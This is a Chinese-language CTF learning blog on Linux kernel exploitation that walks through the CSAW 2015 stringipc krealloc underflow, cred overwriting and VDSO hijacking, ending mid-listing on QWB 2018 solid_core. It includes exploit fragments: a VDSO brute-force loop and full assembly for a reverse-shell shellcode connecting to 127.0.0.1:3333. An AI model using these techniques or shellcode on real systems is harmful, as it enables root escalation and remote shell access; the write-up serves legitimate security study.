ret2dir利用学习

调了好几天的题目,断断续续快一周了,整理一下与ret2dir相关的题目。不,又来更了,应该有两周了,踩了很多坑,记录一下。

CSAW 2015 stringipc

题目描述

直接使用了p4nda大佬编译的题目,配合着题目源码来看的,在IDA里看实在是太难受了。
题目开始定义了一个结构体ipc_channel,有五个成员,提供了channel的alloc、read、write、grow、shrink和seek六个功能。成员变量id用来标识每一个channel,相当于索引。index用来标识所申请的buf的位置指针。因为seek提供了对该指针的重置SEEK_SET和定位SEEK_CUR的功能。

1
2
3
4
5
6
7
struct ipc_channel {
struct kref ref; //计数值
int id;
char *data;
size_t buf_size;
loff_t index;
};

关于第一个成员变量,其实是用来计数的,关于结构体kref,具体定义及涉及到的函数如下,具体可以看这篇博客

1
2
3
4
5
6
struct kref {
atomic_t refcount; //原子引用计数
};
void kref_init(struct kref *kref); //初始化引用计数,初始为1
void kref_get(struct kref *kref) //y引用计数值加1
int kref_put(struct kref *kref, void (*release)(struct kref *kref)) //引用计数值减1,计数值为0时调用回调函数release

题目中还涉及到一个结构体struct idr,Linux的IDR机制实现了id与数据结构地址的绑定,一般是结构体的地址,一般当地址数量较少时,可以通过一个全局的数组来存储这些地址,然后使用数组下标来访问,当地址数量很大时,固定长度的数组无法存储,IDR将数组和链表相结合,内部采用红黑树实现,且具有很高的搜索效率,更多的关于IDR机制的可以看这篇博客

1
2
3
4
5
6
7
struct idr {
struct idr_layer *top;
struct idr_layer *id_free;
int layers; /* only valid without concurrent changes */
int id_free_cnt;
spinlock_t lock;
};

题目漏洞

题目漏洞在于在进行grow和shrink时会调用realloc_ipc_channel对buf的size进行增大或减小,realloc_ipc_channel调用了krealloc完成此功能。函数根据krealloc的返回值是否为空来判断是否执行成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow )
{
struct ipc_channel *channel;
size_t new_size;
char *new_data;

channel = get_channel_by_id(state, id);
if ( IS_ERR(channel) )
return PTR_ERR(channel);

if ( grow )
new_size = channel->buf_size + size;
else
new_size = channel->buf_size - size;

new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL); //here
if ( new_data == NULL )
return -EINVAL;

channel->data = new_data;
channel->buf_size = new_size;

ipc_channel_put(state, channel);

return 0;
}

但是当krealloc的第二个参数为0时,也就是size为0,会返回ZERO_SIZE_PTR,但这个变量是不为0的,可以执行成功。但此时new_size+1 = 0,new_size=0xffffffffffffffff,因为new_size的类型是size_t,是无符号类型。这样其实就拥有了任意读写的权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//https://elixir.bootlin.com/linux/v4.4.110/source/mm/slab_common.c#L1236
void *krealloc(const void *p, size_t new_size, gfp_t flags)
{
void *ret;

if (unlikely(!new_size)) {
kfree(p);
return ZERO_SIZE_PTR;
}

ret = __do_krealloc(p, new_size, flags);
if (ret && p != ret)
kfree(p);

return ret;
}

//https://elixir.bootlin.com/linux/v4.4.110/source/include/linux/slab.h#L101
#define ZERO_SIZE_PTR ((void *)16)

这个过程先是申请一个channel,再shrink size为old_size+1,从而使得new_size = -1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
alloc_channel.buf_size = 0x100;
alloc_channel.id = -1;
ioctl(fd,CSAW_ALLOC_CHANNEL, &alloc_channel);
if(alloc_channel.id == -1){
printf("[-]alloc failed\n");
exit(-1);
}
printf("[+]ALloc channel id: %d\n", alloc_channel.id);

id = alloc_channel.id;
shrink_channel.id = id;
shrink_channel.size = 0x100 + 1;
ioctl(fd,CSAW_SHRINK_CHANNEL, &shrink_channel);
printf("[+]shrink channel buf_size to -1\n");

利用方法一 覆写cred结构体

进程描述符、线程描述符和cred

内核使用进程描述符来管理进程,进程描述符对应的数据结构是task struct,这个数据结构太大了,这里只列出了部分成员,其中我们看到有cred结构体和real_cred结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//https://elixir.bootlin.com/linux/v4.4.110/source/include/linux/sched.h#L1390
struct task_struct {
volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
void *stack;
atomic_t usage;
unsigned int flags; /* per process flags, defined below */
unsigned int ptrace;
'''
/* process credentials */
const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
const struct cred __rcu *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred __rcu *cred; /* effective (overridable) subjective task
* credentials (COW) */
char comm[TASK_COMM_LEN]; /* executable name excluding path
- access with [gs]et_task_comm (which lock
it with task_lock())
- initialized normally by setup_new_exec */
'''
/* ipc stuff */
struct sysv_sem sysvsem;
struct sysv_shm sysvshm;
#endif
#ifdef CONFIG_DETECT_HUNG_TASK
/* hung task detection */
unsigned long last_switch_count;
#endif
/* filesystem information */
struct fs_struct *fs;
/* open file information */
struct files_struct *files;
'''

/* journalling filesystem info */
void *journal_info;

/* stacked block device info */
struct bio_list *bio_list;

#ifdef CONFIG_BLOCK
/* stack plugging */
struct blk_plug *plug;
#endif

'''
/*
* WARNING: on x86, 'thread_struct' contains a variable-sized
* structure. It *MUST* be at the end of 'task_struct'.
*
* Do not put anything below here!
*/
};

cred这个数据结构用来标识进程的权限,cred结构体具体定义如下,这里涉及到一个cred和real_cred的区别,按照源码中的注释,我的理解是real_cred是自己进程本身的权限,cred是作用于其他task的权限,通常情况下它们都是一样的。在拥有了内存任意读写权限后,将cred结构体中的uid~fsgid全部覆写为0,这样进程就有了root权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
/*
* The security context of a task
*
* The parts of the context break down into two categories:
*
* (1) The objective context of a task. These parts are used when some other
* task is attempting to affect this one.
*
* (2) The subjective context. These details are used when the task is acting
* upon another object, be that a file, a task, a key or whatever.
*
* Note that some members of this structure belong to both categories - the
* LSM security pointer for instance.
*
* A task has two security pointers. task->real_cred points to the objective
* context that defines that task's actual details. The objective part of this
* context is used whenever that task is acted upon.
*
* task->cred points to the subjective context that defines the details of how
* that task is going to act upon another object. This may be overridden
* temporarily to point to another security context, but normally points to the
* same context as task->real_cred.
*/
//https://elixir.bootlin.com/linux/v4.4.110/source/include/linux/cred.h#L118
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

对于进程来说,Linux将两个不同的数据结构紧凑的存放在一个单独为进程分配的存储空间中,一个是与进程描述符task_struct相关的小的数据结构thread_info,叫做线程描述符,一个是内核态的进程堆栈,这块存储区域通常为8kb的大小,也就是两个页框,内核让这占据8kb的数据结构存储在两个连续的页框中,并且起始地址是是2^13的倍数。下图表示了8kb的内存区存储这两个数据结构的方式,图来源于《深入理解Linux内核》。
3
从图中也可以看出thread_info与task_struct的联系,task_struct作为thread_info的成员,具体数据结构定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//https://elixir.bootlin.com/linux/v4.4.110/source/arch/ia64/include/asm/thread_info.h#L21
struct thread_info {
struct task_struct *task; /* XXX not really needed, except for dup_task_struct() */
__u32 flags; /* thread_info flags (see TIF_*) */
__u32 cpu; /* current CPU */
__u32 last_cpu; /* Last CPU thread ran on */
__u32 status; /* Thread synchronous flags */
mm_segment_t addr_limit; /* user-level address space limit */
int preempt_count; /* 0=premptable, <0=BUG; will also serve as bh-counter */
#ifdef CONFIG_VIRT_CPU_ACCOUNTING_NATIVE
__u64 ac_stamp;
__u64 ac_leave;
__u64 ac_stime;
__u64 ac_utime;
#endif
};

前面提到要覆写cred结构体,首先需要找到这个结构体的地址。参考的文章里用到了task_struct的一个成员char comm[TASK_COMM_LEN],根据注释我们也能看出这个变量用来保存可执行文件的名称,利用prctl函数中的option PR_SET_NAME可以对comm进行赋值,长度小于16字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//http://man7.org/linux/man-pages/man2/prctl.2.html
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3,unsigned long arg4, unsigned long arg5);

PR_SET_NAME (since Linux 2.6.9)
Set the name of the calling thread, using the value in the
location pointed to by (char *) arg2. The name can be up to
16 bytes long, including the terminating null byte. (If the
length of the string, including the terminating null byte,
exceeds 16 bytes, the string is silently truncated.) This is
the same attribute that can be set via pthread_setname_np(3)
and retrieved using pthread_getname_np(3). The attribute is
likewise accessible via /proc/self/task/[tid]/comm, where tid
is the name of the calling thread.

//https://elixir.bootlin.com/linux/v4.4.110/ident/TASK_COMM_LEN
/* Task command name length */
#define TASK_COMM_LEN 16

爆破cred地址

那我们定位的方法就可以是先利用prctl函数给comm赋值为一个特殊的字符串,然后利用内存任意读去找到该字符串位置,它的前8个字节处就存储了cred的地址。但是64位可寻址空间高达256TB(低48位寻址),如果一个个找下来肯定很浪费时间,可以利用Linux 64位内存布局和task_struct的创建方式来大致确定范围。这里涉及到了进程的创建,与进程创建涉及到三个函数,clone()、fork()和vfork()。在Linux中轻量级进程由名为clone()的函数创建;fork()在Linux中也是用clone()来实现的,fork()创建的子进程与父进程暂时共享一个用户态堆栈,但是只要父进程或子进程中有一个试图去改变堆栈,写时复制技术会为父子进程创建各自用户态堆栈的一份拷贝。vfork()创建的子进程共享父进程的内存地址空间。do_fork()函数负责处理这三个创建进程相关的函数,在执行过程中会调用copy_process()函数,这个函数创建进程描述符以及子进程执行时所需要的其他所有数据结构,该函数在执行过程中会dup_task_struct()为子进程获取进程描述符,该函数通过调用alloc_task_struct_node(),最终kmem_cache_alloc_node()分子进程分配进程描述符。因此task_struct会在动态分配区域。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//https://elixir.bootlin.com/linux/v4.4.110/source/kernel/fork.c#L336
static struct task_struct *dup_task_struct(struct task_struct *orig, int node)
{
struct task_struct *tsk;
struct thread_info *ti;
int err;

if (node == NUMA_NO_NODE)
node = tsk_fork_get_node(orig);
tsk = alloc_task_struct_node(node); //为子进程获取进程描述符
if (!tsk)
return NULL;

ti = alloc_thread_info_node(tsk, node);
if (!ti)
goto free_tsk;

err = arch_dup_task_struct(tsk, orig);
if (err)
goto free_ti;

tsk->stack = ti;

err = kaiser_map_thread_stack(tsk->stack);
if (err)
goto free_ti;
'''
tsk->splice_pipe = NULL;
tsk->task_frag.page = NULL;
tsk->wake_q.next = NULL;

account_kernel_stack(ti, 1);

return tsk;

free_ti:
free_thread_info(ti);
free_tsk:
free_task_struct(tsk);
return NULL;
}

//https://elixir.bootlin.com/linux/v4.4.110/source/kernel/fork.c#L140
static inline struct task_struct *alloc_task_struct_node(int node)
{
return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node);
}

根据Linux x86_64内存分布图可以确定寻找comm的地址范围在0xffff880000000000~0xffffc80000000000直接映射内存区。图上大小标注错了,应该是64T。
4

利用思路

所以总结利用过程就是:

1
2
3
4
1. shrink size获得内存任意读写
2. 利用prctl(PR_SET_NAME)修改comm为一特殊字符串。
3. 爆破comm的位置,从而获得cred结构体所在位置。
4. 覆写cred结构体的uid~fgid字段,执行system("/bin/sh")提权。

exp我就不贴了,仅仅记录我在学习过程中遇到的问题。

利用方法二 劫持VDSO

VDSO

VDSO(virtual dynamic shared object)是一个小型的内核与用户空间的共享库,内核会自动将其映射到处于所有用户空间的对象的地址空间中,这样用户程序可以像调用其它库函数一样调用vdso里面的函数。之所以存在这样一个内核与用户之间的共享库,是因为有一些系统调用会被频繁调用,如果像传统那样先准备好参数,然后从用户态切换到内核态,比如32位系统就是int 80触发软件中断进入内核,上下文切换开销太大,而且有一些系统调用对时间要求很高。通过glibc,所有用户空间的应用程序与该共享库进行链接。

1
2
3
4
ubuntu@ubuntu:~/kernel/pwn/ret2dir/stringipc$ ldd /bin/sh
linux-vdso.so.1 => (0x00007ffff7ffd000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff79fd000)
/lib64/ld-linux-x86-64.so.2 (0x0000555555554000)

vdso的初始化在init_vdso函数中,这个函数针对32位和64位的vdso image进行初始化,具体取决于CONFIG_X86_X32_ABI这个内核配置参数。这个参数决定了调用系统调用的方式,比如x86中使用int 80,x86_64中使用syscall。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//https://elixir.bootlin.com/linux/v4.4.110/source/arch/x86/entry/vdso/vma.c#L286
static int __init init_vdso(void)
{
init_vdso_image(&vdso_image_64);

#ifdef CONFIG_X86_X32_ABI
init_vdso_image(&vdso_image_x32);
#endif

cpu_notifier_register_begin();

on_each_cpu(vgetcpu_cpu_init, NULL, 1);
/* notifier priority > KVM */
__hotcpu_notifier(vgetcpu_cpu_notifier, 30);

cpu_notifier_register_done();

return 0;
}
//https://elixir.bootlin.com/linux/v4.4.110/source/arch/x86/include/asm/vdso.h#L12
struct vdso_image {
void *data;
unsigned long size; /* Always a multiple of PAGE_SIZE */

/* text_mapping.pages is big enough for data/size page pointers */
struct vm_special_mapping text_mapping;

unsigned long alt, alt_len;

long sym_vvar_start; /* Negative offset to the vvar area */

long sym_vvar_page;
long sym_hpet_page;
long sym_pvclock_page;
long sym_VDSO32_NOTE_MASK;
long sym___kernel_sigreturn;
long sym___kernel_rt_sigreturn;
long sym___kernel_vsyscall;
long sym_int80_landing_pad;
};

#ifdef CONFIG_X86_64
extern const struct vdso_image vdso_image_64;
#endif

#ifdef CONFIG_X86_X32
extern const struct vdso_image vdso_image_x32;
#endif

#if defined CONFIG_X86_32 || defined CONFIG_COMPAT
extern const struct vdso_image vdso_image_32;
#endif

函数init_vdso_image用来初始化与vdso相关的内存页面的页面结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//https://elixir.bootlin.com/linux/v4.4.110/source/arch/x86/entry/vdso/vma.c#L27
void __init init_vdso_image(const struct vdso_image *image)
{
int i;
int npages = (image->size) / PAGE_SIZE;

BUG_ON(image->size % PAGE_SIZE != 0);
for (i = 0; i < npages; i++)
image->text_mapping.pages[i] =
virt_to_page(image->data + i*PAGE_SIZE);

apply_alternatives((struct alt_instr *)(image->data + image->alt),
(struct alt_instr *)(image->data + image->alt +
image->alt_len));
}

当初始化完成之后,接下来进行vdso所在页面的映射,当二进制文件加载到内存时,它们是由内核进行映射的,以x86_64为例,arch_setup_additional_pages函数首先检查是否启用了vdso,然后调用map_vdso进行映射。

1
2
3
4
5
6
7
8
9
//https://elixir.bootlin.com/linux/v4.4.110/source/arch/x86/entry/vdso/vma.c#L204
#ifdef CONFIG_X86_64
int arch_setup_additional_pages(struct linux_binprm *bprm, int uses_interp)
{
if (!vdso64_enabled)
return 0;

return map_vdso(&vdso_image_64, true);
}

map_vdso函数中调用remap_pfn_range函数将内核空间的内存映射到用户空间。页面的权限是VM_READ|VM_EXEC|VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
//https://elixir.bootlin.com/linux/v4.4.110/source/arch/x86/entry/vdso/vma.c#L92
static int map_vdso(const struct vdso_image *image, bool calculate_addr)
{
struct mm_struct *mm = current->mm;
struct vm_area_struct *vma;
unsigned long addr, text_start;
int ret = 0;
static struct page *no_pages[] = {NULL};
static struct vm_special_mapping vvar_mapping = {
.name = "[vvar]",
.pages = no_pages,
};
struct pvclock_vsyscall_time_info *pvti;

if (calculate_addr) {
addr = vdso_addr(current->mm->start_stack,
image->size - image->sym_vvar_start);
} else {
addr = 0;
}

down_write(&mm->mmap_sem);

addr = get_unmapped_area(NULL, addr,
image->size - image->sym_vvar_start, 0, 0);
if (IS_ERR_VALUE(addr)) {
ret = addr;
goto up_fail;
}

text_start = addr - image->sym_vvar_start;
current->mm->context.vdso = (void __user *)text_start;

/*
* MAYWRITE to allow gdb to COW and set breakpoints
*/
vma = _install_special_mapping(mm,
text_start,
image->size,
VM_READ|VM_EXEC|
VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC,
&image->text_mapping);

if (IS_ERR(vma)) {
ret = PTR_ERR(vma);
goto up_fail;
}

vma = _install_special_mapping(mm,
addr,
-image->sym_vvar_start,
VM_READ|VM_MAYREAD,
&vvar_mapping);

if (IS_ERR(vma)) {
ret = PTR_ERR(vma);
goto up_fail;
}

if (image->sym_vvar_page)
ret = remap_pfn_range(vma,
text_start + image->sym_vvar_page,
__pa_symbol(&__vvar_page) >> PAGE_SHIFT,
PAGE_SIZE,
PAGE_READONLY);

if (ret)
goto up_fail;

#ifdef CONFIG_HPET_TIMER
if (hpet_address && image->sym_hpet_page) {
ret = io_remap_pfn_range(vma,
text_start + image->sym_hpet_page,
hpet_address >> PAGE_SHIFT,
PAGE_SIZE,
pgprot_noncached(PAGE_READONLY));

if (ret)
goto up_fail;
}
#endif

pvti = pvclock_pvti_cpu0_va();
if (pvti && image->sym_pvclock_page) {
ret = remap_pfn_range(vma,
text_start + image->sym_pvclock_page,
__pa(pvti) >> PAGE_SHIFT,
PAGE_SIZE,
PAGE_READONLY);

if (ret)
goto up_fail;
}

up_fail:
if (ret)
current->mm->context.vdso = NULL;

up_write(&mm->mmap_sem);
return ret;
}

vdso在内核态的权限是RW,在用户态的权限是RX,用户态查看如下所示,首先要关闭内核的地址随机化,再去查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@ubuntu:~/kernel/pwn/ret2dir/stringipc$ sudo sysctl -w kernel.randomize_va_space=0[sudo] password for ubuntu: 
kernel.randomize_va_space = 0
ubuntu@ubuntu:~/kernel/pwn/ret2dir/stringipc$ cat /proc/self/maps
00400000-0040b000 r-xp 00000000 08:01 1048639 /bin/cat
0060a000-0060b000 r--p 0000a000 08:01 1048639 /bin/cat
0060b000-0060c000 rw-p 0000b000 08:01 1048639 /bin/cat
0060c000-0062d000 rw-p 00000000 00:00 0 [heap]
7ffff732f000-7ffff7a11000 r--p 00000000 08:01 1580912 /usr/lib/locale/locale-archive
7ffff7a11000-7ffff7bcf000 r-xp 00000000 08:01 3276900 /lib/x86_64-linux-gnu/libc-2.19.so
7ffff7bcf000-7ffff7dcf000 ---p 001be000 08:01 3276900 /lib/x86_64-linux-gnu/libc-2.19.so
7ffff7dcf000-7ffff7dd3000 r--p 001be000 08:01 3276900 /lib/x86_64-linux-gnu/libc-2.19.so
7ffff7dd3000-7ffff7dd5000 rw-p 001c2000 08:01 3276900 /lib/x86_64-linux-gnu/libc-2.19.so
7ffff7dd5000-7ffff7dda000 rw-p 00000000 00:00 0
7ffff7dda000-7ffff7dfd000 r-xp 00000000 08:01 3276897 /lib/x86_64-linux-gnu/ld-2.19.so
7ffff7fe1000-7ffff7fe4000 rw-p 00000000 00:00 0
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00022000 08:01 3276897 /lib/x86_64-linux-gnu/ld-2.19.so
7ffff7ffd000-7ffff7ffe000 rw-p 00023000 08:01 3276897 /lib/x86_64-linux-gnu/ld-2.19.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

使用两个页框存储,将vdso dump下来查看文件格式及其格式:

1
2
3
4
5
6
7
8
ubuntu@ubuntu:~/kernel/pwn/ret2dir/stringipc$ dd if=/proc/self/mem of=vdso.so bs=4096 skip=$[0x7ffff7ffa] count=2
dd: ‘/proc/self/mem’: cannot skip to specified offset
2+0 records in
2+0 records out
8192 bytes (8.2 kB) copied, 0.000358512 s, 22.9 MB/s

ubuntu@ubuntu:~/kernel/pwn/ret2dir/stringipc$ file vdso.so
vdso.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=01005e92ea3c0c1527396b65c7412468298d0813, stripped

这里系统内核版本是3.19.0-25-generic:

1
2
ubuntu@ubuntu:~/kernel/pwn/ret2dir/stringipc$ cat /proc/version
Linux version 3.19.0-25-generic (buildd@lgw01-20) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015

在IDA里可以看到它主要对外提供了4个函数:

1
2
3
4
clock_gettime	0000000000000A20	
gettimeofday 0000000000000D30
getcpu 0000000000000F10
time 0000000000000EF0

可以利用如下方式获取当前进程映射的vdso的起始地址:

1
2
#include <sys/auxv.h>
void *vdso = (uintptr_t) getauxval(AT_SYSINFO_EHDR);

类似于vdso,还存在一块共享内存是vsyscall。vdso提供了与vsyscall相同的功能,并解决了vsyscall的局限性。

爆破vdso地址

在有了内存的任意读写权限后,利用内核与用户程序拥有的这块共享内存,将vdso中的gettimeofday函数覆写为自己的shellocde。首先要找到内核中vdso的起始地址,因为每个内核版本偏移都不同,首先它一定是页对齐的,然后它拥有ELF文件的格式,有魔数”.ELF”,另外可以通过寻找特殊的字符串,比如”__vdso_gettimeofday”来确定:
1
但这样还是找到了三个偏移,而且找到的vdso的起始地址都有魔数”.ELF”,输出的偏移是字符串在vdso中的偏移:

1
2
3
4
5
6
7
8
9
10
11
/ $ ./exp_vdso
[+]ALloc channel id: 1
[+]shrink channel buf_size to -1
gettimeofday offset in vdso: 0x2c6
find in 0xffffffff81e04000

gettimeofday offset in vdso: 0x19e
find in 0xffffffff81e06000

gettimeofday offset in vdso: 0x1e8
find in 0xffffffff81e07000

对于查找gettimeofday函数的偏移,可以参考从主机里dump下的vdso.so,在IDA里可以看到,这个函数里面有一个特殊的字符串:
2
通过addr的地址可以确定vdso的地址,可以利用内存任意读权限去查找这个字符串“20C49BA5E353F7CFh”的偏移,这个二进制字符串差不多距离函数偏移为0xd0,然后在gdb里往前找一找,找函数开头“push rbp”的位置,从而确定gettimeofday函数的偏移,然后进行shellcode的覆写。在查找之前,同样追溯vdso这块内存的创建方式来进一步缩小范围。可以大致确定范围是0xffff880000000000~0xffffffffff5fffff,而且vdso距离内核基址并不是很远,所以可以很快爆破到。

爆破vdso地址部分代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
char *buf = malloc(0x1000);
char target[20] = "__vdso_gettimeofday";
char funcstr[10] = "\xcf\xf7\x53\xe3\xa5\x9b\xc4\x20";
for(;addr<0xffffffffff5fffff;addr+=0x1000){
seek_channel.id = id;
seek_channel.index = addr - 0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel);

read_channel.id = id;
read_channel.buf = buf;
read_channel.count = 0x1000;
ioctl(fd,CSAW_READ_CHANNEL,&read_channel);

gettime_result = memmem(buf,0x1000,target,strlen(target));
func_result = memmem(buf,0x1000,funcstr,strlen(funcstr));
if(gettime_result && func_result){
//size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
size_t function_offset = func_result - (int)(buf);
gettime_offset = gettime_result - (int)(buf);
//printf("vdso addr: 0x%lx\n",vdso_addr);
printf("__vdso_gettimeofday offset in vdso: 0x%lx\n",gettime_offset);
printf("gettimeofday function in 0x%lx\n",function_offset);
printf("find in 0x%lx\n",addr);
getchar();
}
}

最后执行结果找到了两个偏移,在gdb里往前找”push rbp”可以发现第二个偏移是opcode_map_0f_38这个函数,从而确定第一个偏移是我们需要的地址。其中gettimeofday这个函数的偏移是0xc80。

1
2
3
4
5
6
7
8
9
10
/ $ ./exp_vdso
[+]ALloc channel id: 1
[+]shrink channel buf_size to -1
__vdso_gettimeofday offset in vdso: 0x2c6
gettimeofday function in 0xd3b
find in 0xffffffff81e04000

__vdso_gettimeofday offset in vdso: 0x19e
gettimeofday function in 0xa4b
find in 0xffffffff81e06000

shellcode组成

上一步找到了gettimeofday函数的地址,需要将内核中这个函数的位置覆写为shellcode。利用思路是当其他进程调用gettimeofday函数时执行我们的shellcode。这里shellcode采取了一定的优化,我参考了这篇博客。思想是覆写后,每一个进程只要调用gettimeofday函数就会调用我们的shellcode,但其实我们只需要具有root权限的进程。在shellcode中首先调用系统调用sys_getuid(0x66)判断进程权限,对于那些uid不为0的进程,接着调用sys_gettimeofday(0x60)执行正常的gettimeofday函数功能;对于那些uid=0的进程,调用0x39系统调用fork一个子进程去反弹shell,父进程继续执行sys_gettimeofday(0x60)。反弹的shell连接到127.0.0.1:3333并执行”/bin/sh”。shellcode在这里可以找到,我这里先写成了汇编,然后转成十六进制,以加深理解。64位的系统调用可以参考这里。关于反弹shell我之前我写过一篇,是pwnable.tw的kidding
但有一个问题我没弄明白127.0.0.1:3333和execve(“/bin/sh”)的参数是如何传参的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
import binascii

##getuid()
code = """
nop
xor rax,rax
mov al,0x66
syscall #getuid()
xor rbx,rbx
cmp rbx,rax
jne emulate
"""

##fork()
code += """
xor rax,rax
mov al,0x39
syscall
xor rbx,rbx
cmp rax,rbx
je connect
"""

##gettimeofday() and retn
code += """
emulate:
xor rax,rax
mov al,0x60
syscall
retq
"""
##socket(2,1,0)
code += """
connect:
xor rdx,rdx
pushq 0x1
pop rsi
push 0x2
pop rdi
xor rax,rax
mov al,0x29
syscall
"""
##connect(fd,ip,0x10)
code += """
xchg rdi,rax
mov rcx,0xfeffff80faf2fffd
not rcx
push rcx
mov rsi,rsp
pushq 0x10
pop rdx
xor rax,rax
mov al,0x2a
syscall
"""

##try dup2(oldfd,2),dup2(oldfd,1),dup2(oldfd,0)

code += """
xor rbx,rbx
cmp rbx,rax
je sh
xor rax,rax
mov al,0xe7
syscall

sh:
pushq 0x3
pop rsi

duploop:
pushq 0x21
pop rax
dec rsi
syscall
jne duploop
"""
##execve()
##exit()
code += """
mov rbx,0xff978cd091969dd0
not rbx
push rbx
mov rdi,rsp
push rdi
mov rsi,rsp
xor rdx,rdx
xor rax,rax
mov al,0x3b
syscall
xor rax,rax
mov al,0xe7
syscall
"""

shellcode = asm(code,arch="amd64")

str1 = ""
for i in range(len(shellcode)):
str1 += "\\x" + binascii.b2a_hex(shellcode[i])
print str1

利用思路

总结一下利用思路:

1
2
3
4
5
1. shrink size获得内存任意读写权限。
2. 利用特殊字符串爆破vdso的地址。
3. 将vdso的中gettimeofday函数覆写为shellcode。
4. 判断shell code是否覆写成功,若成功,则fork一个子进程,并监听127.0.0.1:3333端口,等待shell的回连。
5. 发生gettimeofday函数调用,shellcode执行反弹shell,提权成功。

这里测试环境使用了p4nda大佬的方法,在init中加载一个循环执行gettimeofday函数并具有root权限的程序。
exp我就不贴了,仅仅记录我在学习过程中遇到的问题。

强网杯 2018 solid_core

在stringipc kremalloc漏洞的内存任意读写基础上,solid_core限制了写入的范围大于0xffffffff80000000,因为上文中提到cred结构体在动态分配区域,所以这种限制使得修改cred结构体的方法失效。另外题目编译了最新内核使得VDSO不能修改。所以上文中的两种方法就都失效了。从IDA里看simp1e.ko如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
case 0x77617369:  //CSAW_WRITE_CHANNEL
if ( copy_from_user(&v25, a3, 24LL) )
return -22LL;
v5 = (signed __int64)(v3 + 1);
mutex_lock(v3 + 1);
v16 = *v3;
v7 = v27;
if ( !*v3 )
